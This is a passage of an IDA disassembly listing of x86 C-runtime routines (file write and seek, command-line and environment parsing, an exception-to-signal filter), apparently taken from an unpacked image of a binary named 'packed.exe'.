test byte ptr [edi+0Ch], 1
jz loc_422910
mov edx, [edi+4]
test edx, edx
jnz short loc_42287E
and [ebp+var_8], edx
jmp loc_422910
; ---------------------------------------------------------------------------
loc_42287E: ; CODE XREF: sub_4227C5+AFj
sub eax, ecx
add eax, edx
mov [ebp+arg_0], eax
mov eax, esi
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
test byte ptr [esi+eax+4], 80h
jz short loc_42290A
push 2
push 0
push [ebp+var_C]
call sub_42272B
add esp, 0Ch
cmp eax, [ebp+var_4]
jnz short loc_4228D1
mov eax, [edi+8]
mov ecx, [ebp+arg_0]
add ecx, eax
loc_4228BC: ; CODE XREF: sub_4227C5+104j
cmp eax, ecx
jnb short loc_4228CB
cmp byte ptr [eax], 0Ah
jnz short loc_4228C8
inc [ebp+arg_0]
loc_4228C8: ; CODE XREF: sub_4227C5+FEj
inc eax
jmp short loc_4228BC
; ---------------------------------------------------------------------------
loc_4228CB: ; CODE XREF: sub_4227C5+F9j
test byte ptr [edi+0Dh], 20h
jmp short loc_422905
; ---------------------------------------------------------------------------
loc_4228D1: ; CODE XREF: sub_4227C5+EDj
push 0
push [ebp+var_4]
push [ebp+var_C]
call sub_42272B
mov eax, 200h
add esp, 0Ch
cmp [ebp+arg_0], eax
ja short loc_4228F8
mov ecx, [edi+0Ch]
test cl, 8
jz short loc_4228F8
test ch, 4
jz short loc_4228FB
loc_4228F8: ; CODE XREF: sub_4227C5+124j
; sub_4227C5+12Cj
mov eax, [edi+18h]
loc_4228FB: ; CODE XREF: sub_4227C5+131j
mov [ebp+arg_0], eax
mov eax, [ebx]
test byte ptr [esi+eax+4], 4
loc_422905: ; CODE XREF: sub_4227C5+10Aj
jz short loc_42290A
inc [ebp+arg_0]
loc_42290A: ; CODE XREF: sub_4227C5+D9j
; sub_4227C5:loc_422905j
mov eax, [ebp+arg_0]
sub [ebp+var_4], eax
loc_422910: ; CODE XREF: sub_4227C5+A4j
; sub_4227C5+B4j
mov eax, [ebp+var_8]
mov ecx, [ebp+var_4]
add eax, ecx
loc_422918: ; CODE XREF: sub_4227C5+3Cj
; sub_4227C5+8Dj ...
pop edi
pop esi
pop ebx
leave
retn
sub_4227C5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42291D proc near ; CODE XREF: sub_41D2B4+A2p
; sub_41DB8B+2Cp ...
var_414 = byte ptr -414h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 414h
mov ecx, [ebp+arg_0]
push ebx
cmp ecx, dword_4DC6C0
push esi
push edi
jnb loc_422AB1
mov eax, ecx
mov esi, ecx
sar eax, 5
and esi, 1Fh
lea ebx, ds:4DC5C0h[eax*4]
shl esi, 3
mov eax, [ebx]
mov al, [eax+esi+4]
test al, 1
jz loc_422AB1
xor edi, edi
cmp [ebp+arg_8], edi
mov [ebp+var_8], edi
mov [ebp+var_10], edi
jnz short loc_42296E
loc_422967: ; CODE XREF: sub_42291D+177j
xor eax, eax
jmp loc_422AC5
; ---------------------------------------------------------------------------
loc_42296E: ; CODE XREF: sub_42291D+48j
test al, 20h
jz short loc_42297E
push 2
push edi
push ecx
call sub_42272B
add esp, 0Ch
loc_42297E: ; CODE XREF: sub_42291D+53j
mov eax, [ebx]
add eax, esi
test byte ptr [eax+4], 80h
jz loc_422A4D
mov eax, [ebp+arg_4]
cmp [ebp+arg_8], edi
mov [ebp+var_4], eax
mov [ebp+arg_0], edi
jbe loc_422A85
loc_42299E: ; CODE XREF: sub_42291D+F5j
lea eax, [ebp+var_414]
loc_4229A4: ; CODE XREF: sub_42291D+B9j
mov ecx, [ebp+var_4]
sub ecx, [ebp+arg_4]
cmp ecx, [ebp+arg_8]
jnb short loc_4229D8
mov ecx, [ebp+var_4]
inc [ebp+var_4]
mov cl, [ecx]
cmp cl, 0Ah
jnz short loc_4229C3
inc [ebp+var_10]
mov byte ptr [eax], 0Dh
inc eax
loc_4229C3: ; CODE XREF: sub_42291D+9Dj
mov [eax], cl
inc eax
mov ecx, eax
lea edx, [ebp+var_414]
sub ecx, edx
cmp ecx, 400h
jl short loc_4229A4
loc_4229D8: ; CODE XREF: sub_42291D+90j
mov edi, eax
lea eax, [ebp+var_414]
sub edi, eax
lea eax, [ebp+var_C]
push 0
push eax
lea eax, [ebp+var_414]
push edi
push eax
mov eax, [ebx]
push dword ptr [eax+esi]
nop
call near ptr 26D0000h
test eax, eax
jz short loc_422A42
mov eax, [ebp+var_C]
add [ebp+var_8], eax
cmp eax, edi
jl short loc_422A14
mov eax, [ebp+var_4]
sub eax, [ebp+arg_4]
cmp eax, [ebp+arg_8]
jb short loc_42299E
loc_422A14: ; CODE XREF: sub_42291D+EAj
; sub_42291D+12Ej
xor edi, edi
loc_422A16: ; CODE XREF: sub_42291D+150j
; sub_42291D+15Bj
mov eax, [ebp+var_8]
cmp eax, edi
jnz loc_422AAC
cmp [ebp+arg_0], edi
jz short loc_422A85
push 5
pop eax
cmp [ebp+arg_0], eax
jnz short loc_422A7A
mov dword_4DB278, 9
mov dword_4DB27C, eax
jmp loc_422AC2
; ---------------------------------------------------------------------------
loc_422A42: ; CODE XREF: sub_42291D+E0j
nop
call near ptr 2660A00h
mov [ebp+arg_0], eax
jmp short loc_422A14
; ---------------------------------------------------------------------------
loc_422A4D: ; CODE XREF: sub_42291D+69j
lea ecx, [ebp+var_C]
push edi
push ecx
push [ebp+arg_8]
push [ebp+arg_4]
push dword ptr [eax]
nop
call near ptr 26D0000h
test eax, eax
jz short loc_422A6F
mov eax, [ebp+var_C]
mov [ebp+arg_0], edi
mov [ebp+var_8], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A6F: ; CODE XREF: sub_42291D+145j
nop
call near ptr 2660A00h
mov [ebp+arg_0], eax
jmp short loc_422A16
; ---------------------------------------------------------------------------
loc_422A7A: ; CODE XREF: sub_42291D+10Fj
push [ebp+arg_0]
call sub_4203DF
pop ecx
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422A85: ; CODE XREF: sub_42291D+7Bj
; sub_42291D+107j
mov eax, [ebx]
test byte ptr [eax+esi+4], 40h
jz short loc_422A9A
mov eax, [ebp+arg_4]
cmp byte ptr [eax], 1Ah
jz loc_422967
loc_422A9A: ; CODE XREF: sub_42291D+16Fj
mov dword_4DB278, 1Ch
mov dword_4DB27C, edi
jmp short loc_422AC2
; ---------------------------------------------------------------------------
loc_422AAC: ; CODE XREF: sub_42291D+FEj
sub eax, [ebp+var_10]
jmp short loc_422AC5
; ---------------------------------------------------------------------------
loc_422AB1: ; CODE XREF: sub_42291D+15j
; sub_42291D+37j
and dword_4DB27C, 0
mov dword_4DB278, 9
loc_422AC2: ; CODE XREF: sub_42291D+120j
; sub_42291D+166j ...
or eax, 0FFFFFFFFh
loc_422AC5: ; CODE XREF: sub_42291D+4Cj
; sub_42291D+192j
pop edi
pop esi
pop ebx
leave
retn
sub_42291D endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_422ACA proc near ; CODE XREF: sub_41D5AA+47p
; sub_41D5AA+74p ...
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
arg_1C = dword ptr 24h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_427948
push offset sub_4234B8
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 1Ch
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor edi, edi
cmp dword_4DB34C, edi
jnz short loc_422B40
push edi
push edi
push 1
pop ebx
push ebx
push offset dword_427940
mov esi, 100h
push esi
push edi
nop
call near ptr 2630000h
test eax, eax
jz short loc_422B1E
mov dword_4DB34C, ebx
jmp short loc_422B40
; ---------------------------------------------------------------------------
loc_422B1E: ; CODE XREF: sub_422ACA+4Aj
push edi
push edi
push ebx
push offset dword_4CAE2C
push esi
push edi
nop
call near ptr 2631138h
test eax, eax
jz loc_422C58
mov dword_4DB34C, 2
loc_422B40: ; CODE XREF: sub_422ACA+2Ej
; sub_422ACA+52j
cmp [ebp+arg_C], edi
jle short loc_422B55
push [ebp+arg_C]
push [ebp+arg_8]
call sub_426180
pop ecx
pop ecx
mov [ebp+arg_C], eax
loc_422B55: ; CODE XREF: sub_422ACA+79j
mov eax, dword_4DB34C
cmp eax, 2
jnz short loc_422B7C
push [ebp+arg_14]
push [ebp+arg_10]
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2631138h
jmp loc_422C5A
; ---------------------------------------------------------------------------
loc_422B7C: ; CODE XREF: sub_422ACA+93j
cmp eax, 1
jnz loc_422C58
cmp [ebp+arg_18], edi
jnz short loc_422B92
mov eax, dword_4DB344
mov [ebp+arg_18], eax
loc_422B92: ; CODE XREF: sub_422ACA+BEj
push edi
push edi
push [ebp+arg_C]
push [ebp+arg_8]
mov eax, [ebp+arg_1C]
neg eax
sbb eax, eax
and eax, 8
inc eax
push eax
push [ebp+arg_18]
nop
call near ptr 27F0000h
mov ebx, eax
mov [ebp+var_1C], ebx
cmp ebx, edi
jz loc_422C58
mov [ebp+var_4], edi
lea eax, [ebx+ebx]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422BED
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
mov [ebp+var_24], edi
or [ebp+var_4], 0FFFFFFFFh
mov ebx, [ebp+var_1C]
loc_422BED: ; CODE XREF: sub_422ACA+10Ej
cmp [ebp+var_24], edi
jz short loc_422C58
push ebx
push [ebp+var_24]
push [ebp+arg_C]
push [ebp+arg_8]
push 1
push [ebp+arg_18]
nop
call near ptr 27F0000h
test eax, eax
jz short loc_422C58
push edi
push edi
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2630000h
mov esi, eax
mov [ebp+var_28], esi
cmp esi, edi
jz short loc_422C58
test byte ptr [ebp+arg_4+1], 4
jz short loc_422C6C
cmp [ebp+arg_14], edi
jz loc_422CE7
cmp esi, [ebp+arg_14]
jg short loc_422C58
push [ebp+arg_14]
push [ebp+arg_10]
push ebx
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2630000h
test eax, eax
jnz loc_422CE7
loc_422C58: ; CODE XREF: sub_422ACA+66j
; sub_422ACA+B5j ...
xor eax, eax
loc_422C5A: ; CODE XREF: sub_422ACA+ADj
; sub_422ACA+21Fj
lea esp, [ebp-38h]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_422C6C: ; CODE XREF: sub_422ACA+160j
mov [ebp+var_4], 1
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BB20
mov [ebp+var_18], esp
mov ebx, esp
mov [ebp+var_20], ebx
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_422CA0
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor edi, edi
xor ebx, ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_28]
loc_422CA0: ; CODE XREF: sub_422ACA+1C2j
cmp ebx, edi
jz short loc_422C58
push esi
push ebx
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
nop
call near ptr 2630000h
test eax, eax
jz short loc_422C58
cmp [ebp+arg_14], edi
push edi
push edi
jnz short loc_422CC7
push edi
push edi
jmp short loc_422CCD
; ---------------------------------------------------------------------------
loc_422CC7: ; CODE XREF: sub_422ACA+1F7j
push [ebp+arg_14]
push [ebp+arg_10]
loc_422CCD: ; CODE XREF: sub_422ACA+1FBj
push esi
push ebx
push 220h
push [ebp+arg_18]
call near ptr 27E1001h
nop
mov esi, eax
cmp esi, edi
jz loc_422C58
loc_422CE7: ; CODE XREF: sub_422ACA+165j
; sub_422ACA+188j
mov eax, esi
jmp loc_422C5A
sub_422ACA endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push dword ptr [ebp+8]
call sub_422E2F
test eax, eax
pop ecx
jz loc_422E23
mov ebx, [eax+8]
test ebx, ebx
jz loc_422E23
cmp ebx, 5
jnz short loc_422D1F
and dword ptr [eax+8], 0
push 1
pop eax
jmp loc_422E2C
; ---------------------------------------------------------------------------
loc_422D1F: ; CODE XREF: ___:00422D11j
cmp ebx, 1
jz loc_422E1E
mov ecx, dword_4DB350
mov [ebp+8], ecx
mov ecx, [ebp+0Ch]
mov dword_4DB350, ecx
mov ecx, [eax+4]
cmp ecx, 8
jnz loc_422E0E
mov ecx, dword_43C940
mov edx, dword_43C944
add edx, ecx
push esi
cmp ecx, edx
jge short loc_422D6E
lea esi, [ecx+ecx*2]
sub edx, ecx
lea esi, ds:43C8D0h[esi*4]
loc_422D65: ; CODE XREF: ___:00422D6Cj
and dword ptr [esi], 0
add esi, 0Ch
dec edx
jnz short loc_422D65
loc_422D6E: ; CODE XREF: ___:00422D57j
mov eax, [eax]
mov esi, dword_43C94C
cmp eax, 0C000008Eh
jnz short loc_422D89
mov dword_43C94C, 83h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D89: ; CODE XREF: ___:00422D7Bj
cmp eax, 0C0000090h
jnz short loc_422D9C
mov dword_43C94C, 81h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422D9C: ; CODE XREF: ___:00422D8Ej
cmp eax, 0C0000091h
jnz short loc_422DAF
mov dword_43C94C, 84h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DAF: ; CODE XREF: ___:00422DA1j
cmp eax, 0C0000093h
jnz short loc_422DC2
mov dword_43C94C, 85h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DC2: ; CODE XREF: ___:00422DB4j
cmp eax, 0C000008Dh
jnz short loc_422DD5
mov dword_43C94C, 82h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DD5: ; CODE XREF: ___:00422DC7j
cmp eax, 0C000008Fh
jnz short loc_422DE8
mov dword_43C94C, 86h
jmp short loc_422DF9
; ---------------------------------------------------------------------------
loc_422DE8: ; CODE XREF: ___:00422DDAj
cmp eax, 0C0000092h
jnz short loc_422DF9
mov dword_43C94C, 8Ah
loc_422DF9: ; CODE XREF: ___:00422D87j
; ___:00422D9Aj ...
push dword_43C94C
push 8
call ebx
pop ecx
mov dword_43C94C, esi
pop ecx
pop esi
jmp short loc_422E16
; ---------------------------------------------------------------------------
loc_422E0E: ; CODE XREF: ___:00422D40j
and dword ptr [eax+8], 0
push ecx
call ebx
pop ecx
loc_422E16: ; CODE XREF: ___:00422E0Cj
mov eax, [ebp+8]
mov dword_4DB350, eax
loc_422E1E: ; CODE XREF: ___:00422D22j
or eax, 0FFFFFFFFh
jmp short loc_422E2C
; ---------------------------------------------------------------------------
loc_422E23: ; CODE XREF: ___:00422CFDj
; ___:00422D08j
push dword ptr [ebp+0Ch]
nop
call near ptr 2620000h
loc_422E2C: ; CODE XREF: ___:00422D1Aj
; ___:00422E21j
pop ebx
pop ebp
retn
; =============== S U B R O U T I N E =======================================
sub_422E2F proc near ; CODE XREF: ___:00422CF5p
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov ecx, dword_43C948
cmp dword_43C8C8, edx
push esi
mov eax, offset dword_43C8C8
jz short loc_422E5C
lea esi, [ecx+ecx*2]
lea esi, ds:43C8C8h[esi*4]
loc_422E51: ; CODE XREF: sub_422E2F+2Bj
add eax, 0Ch
cmp eax, esi
jnb short loc_422E5C
cmp [eax], edx
jnz short loc_422E51
loc_422E5C: ; CODE XREF: sub_422E2F+16j
; sub_422E2F+27j
lea ecx, [ecx+ecx*2]
pop esi
lea ecx, ds:43C8C8h[ecx*4]
cmp eax, ecx
jnb short loc_422E6F
cmp [eax], edx
jz short locret_422E71
loc_422E6F: ; CODE XREF: sub_422E2F+3Aj
xor eax, eax
locret_422E71: ; CODE XREF: sub_422E2F+3Ej
retn
sub_422E2F endp
; ---------------------------------------------------------------------------
cmp dword_4DC914, 0
jnz short loc_422E80
call sub_42026D
loc_422E80: ; CODE XREF: ___:00422E79j
push esi
mov esi, dword_4DC90C
mov al, [esi]
cmp al, 22h
jnz short loc_422EB2
loc_422E8D: ; CODE XREF: ___:00422EA5j
; ___:00422EA8j
mov al, [esi+1]
inc esi
cmp al, 22h
jz short loc_422EAA
test al, al
jz short loc_422EAA
movzx eax, al
push eax
call sub_424D36
test eax, eax
pop ecx
jz short loc_422E8D
inc esi
jmp short loc_422E8D
; ---------------------------------------------------------------------------
loc_422EAA: ; CODE XREF: ___:00422E93j
; ___:00422E97j
cmp byte ptr [esi], 22h
jnz short loc_422EBC
loc_422EAF: ; CODE XREF: ___:00422EC4j
inc esi
jmp short loc_422EBC
; ---------------------------------------------------------------------------
loc_422EB2: ; CODE XREF: ___:00422E8Bj
cmp al, 20h
jbe short loc_422EBC
loc_422EB6: ; CODE XREF: ___:00422EBAj
inc esi
cmp byte ptr [esi], 20h
ja short loc_422EB6
loc_422EBC: ; CODE XREF: ___:00422EADj
; ___:00422EB0j ...
mov al, [esi]
test al, al
jz short loc_422EC6
cmp al, 20h
jbe short loc_422EAF
loc_422EC6: ; CODE XREF: ___:00422EC0j
mov eax, esi
pop esi
retn
; ---------------------------------------------------------------------------
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422EDC
call sub_42026D
loc_422EDC: ; CODE XREF: ___:00422ED5j
mov esi, dword_4DB2E8
xor edi, edi
loc_422EE4: ; CODE XREF: ___:00422EFAj
mov al, [esi]
cmp al, bl
jz short loc_422EFC
cmp al, 3Dh
jz short loc_422EEF
inc edi
loc_422EEF: ; CODE XREF: ___:00422EECj
push esi
call sub_41AFE0
pop ecx
lea esi, [esi+eax+1]
jmp short loc_422EE4
; ---------------------------------------------------------------------------
loc_422EFC: ; CODE XREF: ___:00422EE8j
lea eax, ds:4[edi*4]
push eax
call sub_41B4D5
mov esi, eax
pop ecx
cmp esi, ebx
mov dword_4DB2A0, esi
jnz short loc_422F1E
push 9
call sub_41DA29
pop ecx
loc_422F1E: ; CODE XREF: ___:00422F14j
mov edi, dword_4DB2E8
cmp [edi], bl
jz short loc_422F61
push ebp
loc_422F29: ; CODE XREF: ___:00422F5Ej
push edi
call sub_41AFE0
mov ebp, eax
pop ecx
inc ebp
cmp byte ptr [edi], 3Dh
jz short loc_422F5A
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esi], eax
jnz short loc_422F4D
push 9
call sub_41DA29
pop ecx
loc_422F4D: ; CODE XREF: ___:00422F43j
push edi
push dword ptr [esi]
call sub_41BEB0
pop ecx
add esi, 4
pop ecx
loc_422F5A: ; CODE XREF: ___:00422F36j
add edi, ebp
cmp [edi], bl
jnz short loc_422F29
pop ebp
loc_422F61: ; CODE XREF: ___:00422F26j
push dword_4DB2E8
call sub_41B0B1
pop ecx
mov dword_4DB2E8, ebx
mov [esi], ebx
pop edi
pop esi
mov dword_4DC910, 1
pop ebx
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
xor ebx, ebx
cmp dword_4DC914, ebx
push esi
push edi
jnz short loc_422F9A
call sub_42026D
loc_422F9A: ; CODE XREF: ___:00422F93j
mov esi, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe"
push 104h
push esi
push ebx
nop
call near ptr 2650000h
mov eax, dword_4DC90C
mov off_4DB2B0, esi
mov edi, esi
cmp [eax], bl
jz short loc_422FBF
mov edi, eax
loc_422FBF: ; CODE XREF: ___:00422FBBj
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
push ebx
push ebx
push edi
call sub_42301C
mov eax, [ebp-8]
mov ecx, [ebp-4]
lea eax, [eax+ecx*4]
push eax
call sub_41B4D5
mov esi, eax
add esp, 18h
cmp esi, ebx
jnz short loc_422FEF
push 8
call sub_41DA29
pop ecx
loc_422FEF: ; CODE XREF: ___:00422FE5j
lea eax, [ebp-8]
push eax
lea eax, [ebp-4]
push eax
mov eax, [ebp-4]
lea eax, [esi+eax*4]
push eax
push esi
push edi
call sub_42301C
mov eax, [ebp-4]
add esp, 14h
dec eax
mov dword_4DB298, esi
pop edi
pop esi
mov dword_4DB294, eax
pop ebx
leave
retn
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42301C proc near ; CODE XREF: ___:00422FCAp
; ___:00423000p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
push ebp
mov ebp, esp
mov ecx, [ebp+arg_10]
mov eax, [ebp+arg_C]
push ebx
push esi
and dword ptr [ecx], 0
mov esi, [ebp+arg_8]
push edi
mov edi, [ebp+arg_4]
mov dword ptr [eax], 1
mov eax, [ebp+arg_0]
test edi, edi
jz short loc_423046
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423046: ; CODE XREF: sub_42301C+20j
cmp byte ptr [eax], 22h
jnz short loc_42308F
loc_42304B: ; CODE XREF: sub_42301C+58j
; sub_42301C+5Fj
mov dl, [eax+1]
inc eax
cmp dl, 22h
jz short loc_42307D
test dl, dl
jz short loc_42307D
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_423070
inc dword ptr [ecx]
test esi, esi
jz short loc_423070
mov dl, [eax]
mov [esi], dl
inc esi
inc eax
loc_423070: ; CODE XREF: sub_42301C+46j
; sub_42301C+4Cj
inc dword ptr [ecx]
test esi, esi
jz short loc_42304B
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_42304B
; ---------------------------------------------------------------------------
loc_42307D: ; CODE XREF: sub_42301C+36j
; sub_42301C+3Aj
inc dword ptr [ecx]
test esi, esi
jz short loc_423087
and byte ptr [esi], 0
inc esi
loc_423087: ; CODE XREF: sub_42301C+65j
cmp byte ptr [eax], 22h
jnz short loc_4230D2
inc eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_42308F: ; CODE XREF: sub_42301C+2Dj
; sub_42301C+A5j
inc dword ptr [ecx]
test esi, esi
jz short loc_42309A
mov dl, [eax]
mov [esi], dl
inc esi
loc_42309A: ; CODE XREF: sub_42301C+77j
mov dl, [eax]
inc eax
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_4230B5
inc dword ptr [ecx]
test esi, esi
jz short loc_4230B4
mov bl, [eax]
mov [esi], bl
inc esi
loc_4230B4: ; CODE XREF: sub_42301C+91j
inc eax
loc_4230B5: ; CODE XREF: sub_42301C+8Bj
cmp dl, 20h
jz short loc_4230C3
test dl, dl
jz short loc_4230C7
cmp dl, 9
jnz short loc_42308F
loc_4230C3: ; CODE XREF: sub_42301C+9Cj
test dl, dl
jnz short loc_4230CA
loc_4230C7: ; CODE XREF: sub_42301C+A0j
dec eax
jmp short loc_4230D2
; ---------------------------------------------------------------------------
loc_4230CA: ; CODE XREF: sub_42301C+A9j
test esi, esi
jz short loc_4230D2
and byte ptr [esi-1], 0
loc_4230D2: ; CODE XREF: sub_42301C+6Ej
; sub_42301C+71j ...
and [ebp+arg_10], 0
loc_4230D6: ; CODE XREF: sub_42301C+19Ej
cmp byte ptr [eax], 0
jz loc_4231BF
loc_4230DF: ; CODE XREF: sub_42301C+D0j
mov dl, [eax]
cmp dl, 20h
jz short loc_4230EB
cmp dl, 9
jnz short loc_4230EE
loc_4230EB: ; CODE XREF: sub_42301C+C8j
inc eax
jmp short loc_4230DF
; ---------------------------------------------------------------------------
loc_4230EE: ; CODE XREF: sub_42301C+CDj
cmp byte ptr [eax], 0
jz loc_4231BF
test edi, edi
jz short loc_423103
mov [edi], esi
add edi, 4
mov [ebp+arg_4], edi
loc_423103: ; CODE XREF: sub_42301C+DDj
mov edx, [ebp+arg_C]
inc dword ptr [edx]
loc_423108: ; CODE XREF: sub_42301C+18Fj
mov [ebp+arg_0], 1
xor ebx, ebx
loc_423111: ; CODE XREF: sub_42301C+FCj
cmp byte ptr [eax], 5Ch
jnz short loc_42311A
inc eax
inc ebx
jmp short loc_423111
; ---------------------------------------------------------------------------
loc_42311A: ; CODE XREF: sub_42301C+F8j
cmp byte ptr [eax], 22h
jnz short loc_42314B
test bl, 1
jnz short loc_423149
xor edi, edi
cmp [ebp+arg_10], edi
jz short loc_423138
cmp byte ptr [eax+1], 22h
lea edx, [eax+1]
jnz short loc_423138
mov eax, edx
jmp short loc_42313B
; ---------------------------------------------------------------------------
loc_423138: ; CODE XREF: sub_42301C+10Dj
; sub_42301C+116j
mov [ebp+arg_0], edi
loc_42313B: ; CODE XREF: sub_42301C+11Aj
mov edi, [ebp+arg_4]
xor edx, edx
cmp [ebp+arg_10], edx
setz dl
mov [ebp+arg_10], edx
loc_423149: ; CODE XREF: sub_42301C+106j
shr ebx, 1
loc_42314B: ; CODE XREF: sub_42301C+101j
mov edx, ebx
dec ebx
test edx, edx
jz short loc_423160
inc ebx
loc_423153: ; CODE XREF: sub_42301C+142j
test esi, esi
jz short loc_42315B
mov byte ptr [esi], 5Ch
inc esi
loc_42315B: ; CODE XREF: sub_42301C+139j
inc dword ptr [ecx]
dec ebx
jnz short loc_423153
loc_423160: ; CODE XREF: sub_42301C+134j
mov dl, [eax]
test dl, dl
jz short loc_4231B0
cmp [ebp+arg_10], 0
jnz short loc_423176
cmp dl, 20h
jz short loc_4231B0
cmp dl, 9
jz short loc_4231B0
loc_423176: ; CODE XREF: sub_42301C+14Ej
cmp [ebp+arg_0], 0
jz short loc_4231AA
test esi, esi
jz short loc_423199
movzx ebx, dl
test byte_4DC7E1[ebx], 4
jz short loc_423192
mov [esi], dl
inc esi
inc eax
inc dword ptr [ecx]
loc_423192: ; CODE XREF: sub_42301C+16Ej
mov dl, [eax]
mov [esi], dl
inc esi
jmp short loc_4231A8
; ---------------------------------------------------------------------------
loc_423199: ; CODE XREF: sub_42301C+162j
movzx edx, dl
test byte_4DC7E1[edx], 4
jz short loc_4231A8
inc eax
inc dword ptr [ecx]
loc_4231A8: ; CODE XREF: sub_42301C+17Bj
; sub_42301C+187j
inc dword ptr [ecx]
loc_4231AA: ; CODE XREF: sub_42301C+15Ej
inc eax
jmp loc_423108
; ---------------------------------------------------------------------------
loc_4231B0: ; CODE XREF: sub_42301C+148j
; sub_42301C+153j ...
test esi, esi
jz short loc_4231B8
and byte ptr [esi], 0
inc esi
loc_4231B8: ; CODE XREF: sub_42301C+196j
inc dword ptr [ecx]
jmp loc_4230D6
; ---------------------------------------------------------------------------
loc_4231BF: ; CODE XREF: sub_42301C+BDj
; sub_42301C+D5j
test edi, edi
jz short loc_4231C6
and dword ptr [edi], 0
loc_4231C6: ; CODE XREF: sub_42301C+1A5j
mov eax, [ebp+arg_C]
pop edi
pop esi
pop ebx
inc dword ptr [eax]
pop ebp
retn
sub_42301C endp
; ---------------------------------------------------------------------------
push ecx
push ecx
mov eax, dword_4DB458
push ebx
push ebp
mov ebp, dword_42703C
push esi
push edi
xor ebx, ebx
xor esi, esi
xor edi, edi
cmp eax, ebx
jnz short loc_42321E
call ebp
mov esi, eax
cmp esi, ebx
jz short loc_4231FF
mov dword_4DB458, 1
jmp short loc_423227
; ---------------------------------------------------------------------------
loc_4231FF: ; CODE XREF: ___:004231F1j
nop
call near ptr 2610AB7h
mov edi, eax
cmp edi, ebx
jz loc_4232F9
mov dword_4DB458, 2
jmp loc_4232AD
; ---------------------------------------------------------------------------
loc_42321E: ; CODE XREF: ___:004231E9j
cmp eax, 1
jnz loc_4232A8
loc_423227: ; CODE XREF: ___:004231FDj
cmp esi, ebx
jnz short loc_423237
call ebp
mov esi, eax
cmp esi, ebx
jz loc_4232F9
loc_423237: ; CODE XREF: ___:00423229j
cmp [esi], bx
mov eax, esi
jz short loc_42324C
loc_42323E: ; CODE XREF: ___:00423243j
; ___:0042324Aj
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
inc eax
inc eax
cmp [eax], bx
jnz short loc_42323E
loc_42324C: ; CODE XREF: ___:0042323Cj
sub eax, esi
mov edi, dword_42717C
sar eax, 1
push ebx
push ebx
inc eax
push ebx
push ebx
push eax
push esi
push ebx
push ebx
mov [esp+34h], eax
call edi
mov ebp, eax
cmp ebp, ebx
jz short loc_42329D
push ebp
call sub_41B4D5
cmp eax, ebx
pop ecx
mov [esp+10h], eax
jz short loc_42329D
push ebx
push ebx
push ebp
push eax
push dword ptr [esp+24h]
push esi
push ebx
push ebx
call edi
test eax, eax
jnz short loc_423299
push dword ptr [esp+10h]
call sub_41B0B1
pop ecx
mov [esp+10h], ebx
loc_423299: ; CODE XREF: ___:00423289j
mov ebx, [esp+10h]
loc_42329D: ; CODE XREF: ___:00423269j
; ___:00423278j
push esi
nop
call near ptr 2610D1Dh
mov eax, ebx
jmp short loc_4232FB
; ---------------------------------------------------------------------------
loc_4232A8: ; CODE XREF: ___:00423221j
cmp eax, 2
jnz short loc_4232F9
loc_4232AD: ; CODE XREF: ___:00423219j
